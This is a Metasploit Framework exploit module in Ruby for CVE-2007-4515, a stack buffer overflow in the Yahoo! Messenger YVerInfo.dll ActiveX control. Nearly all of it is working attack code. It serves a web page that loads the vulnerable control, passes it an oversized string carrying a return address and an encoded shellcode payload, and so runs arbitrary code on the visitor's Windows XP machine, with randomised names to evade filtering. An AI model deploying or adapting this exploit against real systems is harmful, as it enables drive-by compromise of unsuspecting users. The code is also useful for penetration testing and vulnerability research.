This Metasploit module exploits a stack overflow in the Yahoo! Messenger ActiveX Control (YVerInfo.dll <= 2006.8.24.1). By sending a overly long string to the "fvCom()" method from a yahoo.com domain, an attacker may be able to execute arbitrary code.
a76b958fa9f3bc0e42dcb4fab126c3f9a6d022bf2e8a2f5a5f673c69ab372031##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the Yahoo! Messenger ActiveX
Control (YVerInfo.dll <= 2006.8.24.1). By sending a overly long string
to the "fvCom()" method from a yahoo.com domain, an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-4515' ],
[ 'OSVDB', '37739' ],
[ 'BID', '25494' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=591' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 Pro English', { 'Ret' => 0x7cc58fd8 } ], # Tested on fully patched XPSP2 9/29/07
],
'DisclosureDate' => 'Aug 30 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
sploit = rand_text_english(411) + [target.ret].pack('V')
sploit << p.encoded + rand_text_english(payload.encoded.length)
# Build out the message
content = %Q|
<html>
<object classid='clsid:D5184A39-CBDF-4A4F-AC1A-7A45A852C883' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}');
#{vname}.fvcom(#{strname});
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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